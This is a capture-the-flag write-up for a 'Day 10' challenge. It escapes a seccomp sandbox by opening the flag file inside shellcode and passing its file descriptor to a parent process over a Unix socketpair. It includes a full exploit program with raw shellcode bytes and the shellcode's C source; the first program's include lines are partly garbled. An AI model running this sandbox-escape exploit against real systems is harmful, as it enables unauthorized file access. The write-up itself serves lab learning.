Day 10

Challenge

This is a normal seccomp syscall restriction

(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(recvmsg), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendmsg), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) 

My Solution

First, I created two file descriptors and connected them using sys_socketpair(AF_UNIX, SOCK_STREAM, 0, fds). This gives me a pair of connected sockets that work like a pipe.

Next, I ran the challenge binary, which inherits these file descriptors. Using shellcode inside the challenge binary, I opened the flag file and sent its file descriptor through one end of the socket pair.

From my exploit process, I then received that file descriptor from the other end of the socket pair and used it to read the flag.

My Exploit.c ```c #define _GNU_SOURCE #include <sys/socket.h> #include <sys/types.h> #include <sys/uio.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/syscall.h> #include #include #include #include #include #include

static inline long sys_socketpair(int d, int t, int p, int sv[2]) { return syscall(SYS_socketpair, d, t, p, sv); }

static inline long sys_fcntl(int fd, int cmd, int arg) { return syscall(SYS_fcntl, fd, cmd, arg); }

static inline long sys_fork(void) { return syscall(SYS_fork); }

static inline long sys_execve(const char *p, char *const a[], char *const e[]) { return syscall(SYS_execve, p, a, e); }

static inline long sys_sendmsg(int fd, const struct msghdr *msg, unsigned int flags) { return syscall(SYS_sendmsg, fd, msg, flags); }

static inline long sys_recvmsg(int fd, struct msghdr *msg, int flags) { return syscall(SYS_recvmsg, fd, msg, flags); }

static inline long sys_read(int fd, void *buf, size_t len) { return syscall(SYS_read, fd, buf, len); }

static inline long sys_write(int fd, const void *buf, size_t len) { return syscall(SYS_write, fd, buf, len); }

int main(void) { int fds[2];

if (sys_socketpair(AF_UNIX, SOCK_STREAM, 0, fds) < 0) {
    perror("socketpair");
    return 1;
}

sys_fcntl(fds[0], F_SETFL, O_NONBLOCK);
sys_fcntl(fds[1], F_SETFL, O_NONBLOCK);

int std_fds[2];
if (pipe(std_fds) < 0) {
    perror("pipe");
    exit(1);
}

printf("%i\n", fds[0]);

long pid = sys_fork();

if (pid == 0) {
    // --- child: turn fds[0] into stdin ---
    dup2(std_fds[0], 0);

    close(std_fds[0]);
    close(std_fds[1]);

    char *argv[] = { "/challenge/northpole-relay", NULL };
    char *envp[] = { NULL };

    sys_execve("/challenge/northpole-relay", argv, envp);
    syscall(SYS_exit, 1);
}

// shellcode bytes after compiled
unsigned char buffer[240] = {72, 131, 228, 240, 184, 103, 0, 0, 0, 72, 141, 116, 36, 152, 49, 210, 69, 49, 192, 102, 137, 68, 36, 156, 72, 199, 199, 156, 255, 255, 255, 184, 1, 1, 0, 0, 199, 68, 36, 152, 47, 102, 108, 97, 77, 137, 194, 77, 137, 192, 77, 137, 193, 15, 5, 185, 79, 75, 0, 0, 72, 137, 194, 72, 141, 68, 36, 150, 72, 199, 68, 36, 168, 2, 0, 0, 0, 102, 137, 76, 36, 150, 72, 141, 124, 36, 200, 185, 7, 0, 0, 0, 72, 137, 68, 36, 160, 76, 137, 192, 243, 72, 171, 72, 141, 68, 36, 160, 72, 199, 68, 36, 192, 0, 0, 0, 0, 72, 137, 68, 36, 216, 72, 141, 68, 36, 176, 72, 137, 68, 36, 232, 72, 184, 1, 0, 0, 0, 1, 0, 0, 0, 72, 199, 68, 36, 224, 1, 0, 0, 0, 72, 199, 68, 36, 240, 24, 0, 0, 0, 72, 137, 68, 36, 184, 72, 199, 68, 36, 176, 20, 0, 0, 0, 72, 131, 228, 240, 191, 3, 0, 0, 0, 137, 84, 36, 192, 72, 141, 116, 36, 200, 49, 210, 184, 46, 0, 0, 0, 77, 137, 194, 77, 137, 192, 77, 137, 193, 15, 5, 49, 255, 49, 246, 184, 60, 0, 0, 0, 77, 137, 194, 77, 137, 192, 77, 137, 193, 15, 5, 195};

write(std_fds[1], buffer, 231);

close(std_fds[1]);  // signal EOF

// --- parent ---
char msgbuf[2];
char ctrl[CMSG_SPACE(sizeof(int))];
memset(ctrl, 0, sizeof(ctrl));

struct iovec io = {
    .iov_base = msgbuf,
    .iov_len = sizeof(msgbuf)
};

struct msghdr msg = {
    .msg_name = NULL,
    .msg_namelen = 0,
    .msg_iov = &io,
    .msg_iovlen = 1,
    .msg_control = ctrl,
    .msg_controllen = sizeof(ctrl),
    .msg_flags = 0
};

getchar();


// recvmsg from child
if (sys_recvmsg(fds[1], &msg, 0) <= 0) {
    perror("recvmsg");
    syscall(SYS_exit, 1);
}

// print first 2 bytes
sys_write(1, msgbuf, 2);

// extract received FD
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
int received_fd = *(int *)CMSG_DATA(cmsg);

// read from the FD we got
char second[100];
int n = sys_read(received_fd, second, sizeof(second));
if (n > 0)
    sys_write(1, second, n);

syscall(SYS_exit, 0);
return 0; }

>>> shellcode.c

```c
#define _GNU_SOURCE
#include <sys/socket.h>
#include <linux/fcntl.h>
#include <linux/openat2.h>
#include <linux/limits.h>
#include <linux/stat.h>
#include <linux/types.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <unistd.h>

/* --- raw syscall stub because -nostdlib removes syscall() --- */
static inline long my_syscall(
    long n, long a0, long a1, long a2,
    long a3, long a4, long a5)
{
    long ret;
    register long rdi asm("rdi") = a0;
    register long rsi asm("rsi") = a1;
    register long rdx asm("rdx") = a2;

    asm volatile(
        "mov %5, %%r10 \n"
        "mov %6, %%r8  \n"
        "mov %7, %%r9  \n"
        "syscall       \n"
        : "=a"(ret)
        : "a"(n), "r"(rdi), "r"(rsi), "r"(rdx),
          "r"(a3), "r"(a4), "r"(a5)
        : "rcx", "r11", "memory"
    );

    return ret;
}
static inline long sys_openat(int dfd, const char *path, int flags, int mode) {
    return my_syscall(__NR_openat, dfd, (long)path, flags, mode, 0, 0);
}

static inline long sys_sendmsg(int fd, const struct msghdr *msg, unsigned int flags) {
    return my_syscall(__NR_sendmsg, fd, (long)msg, flags, 0, 0, 0);
}

static inline long sys_exit(long code) {
    return my_syscall(__NR_exit, code, 0, 0, 0, 0, 0);
}

void _start(void)
{
    asm volatile("and $-16, %rsp");

     char flagbuf[8];
    __builtin_memcpy(flagbuf, "/flag", 6);

    int fd_to_send = sys_openat(AT_FDCWD, flagbuf , O_RDONLY, 0);

    /* payload */
    char data[2] = {'O', 'K'};
    struct iovec io = { .iov_base = data, .iov_len = 2 };

    /* control buf for FD passing */
    char control[CMSG_SPACE(sizeof(int))] = {0};

    struct msghdr msg = {};
    msg.msg_iov        = &io;
    msg.msg_iovlen     = 1;
    msg.msg_control    = control;
    msg.msg_controllen = sizeof(control);

    struct cmsghdr *cmsg = (struct cmsghdr *)control;
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type  = SCM_RIGHTS;
    cmsg->cmsg_len   = CMSG_LEN(sizeof(int));

    asm volatile("and $-16, %rsp");

    *(int *)CMSG_DATA(cmsg) = fd_to_send;

    sys_sendmsg(3, &msg, 0);

    sys_exit(0);
}